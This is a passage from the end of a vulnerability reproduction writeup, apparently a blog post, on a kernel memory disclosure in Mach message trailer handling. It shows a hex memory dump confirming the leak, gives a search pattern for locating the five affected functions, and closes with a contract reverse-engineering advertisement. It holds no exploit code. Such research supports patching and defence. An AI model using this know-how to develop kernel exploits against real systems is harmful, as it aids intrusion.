0x10fe00cfc: 0x000001f5(val[3]) 0x000001f5(val[4]) 0x0000025d(val[5]) 0x00000000(val[6])
0x10fe00d0c: 0x00000700(val[7]) 0x00000000         0x00000000         0x416e7953(msgh_ad)
0x10fe00d1c: 0x00000000(msgh_labels) 0x00000000 0xf0000000 0x00000000

Kernel memory disclosure confirmed.

Where this leads

One loose end worth flagging: since all five changed functions received the identical fix, all five share the same bug shape. Searching for a single line is enough to find every one of them:

trailer->msgh_trailer_type =

All five vulnerable functions located via one search

The natural next question — how to steer this raw leak into disclosing something useful rather than a magic value we planted ourselves — is a follow-up in its own right. That’s where this reproduction stops and the exploit-development phase begins.


Colin Xiao — I take on contract reverse-engineering work, and writeups like this are how I show what I can do. If you need help with anything in this space — including but not limited to the areas I cover above — I’m available. No project is too big or too small — if it’s reverse engineering and I can do it, I’ll take it. DM me on X (@colinxiao_lab) or Telegram (@ColinXiao666).

Get in touch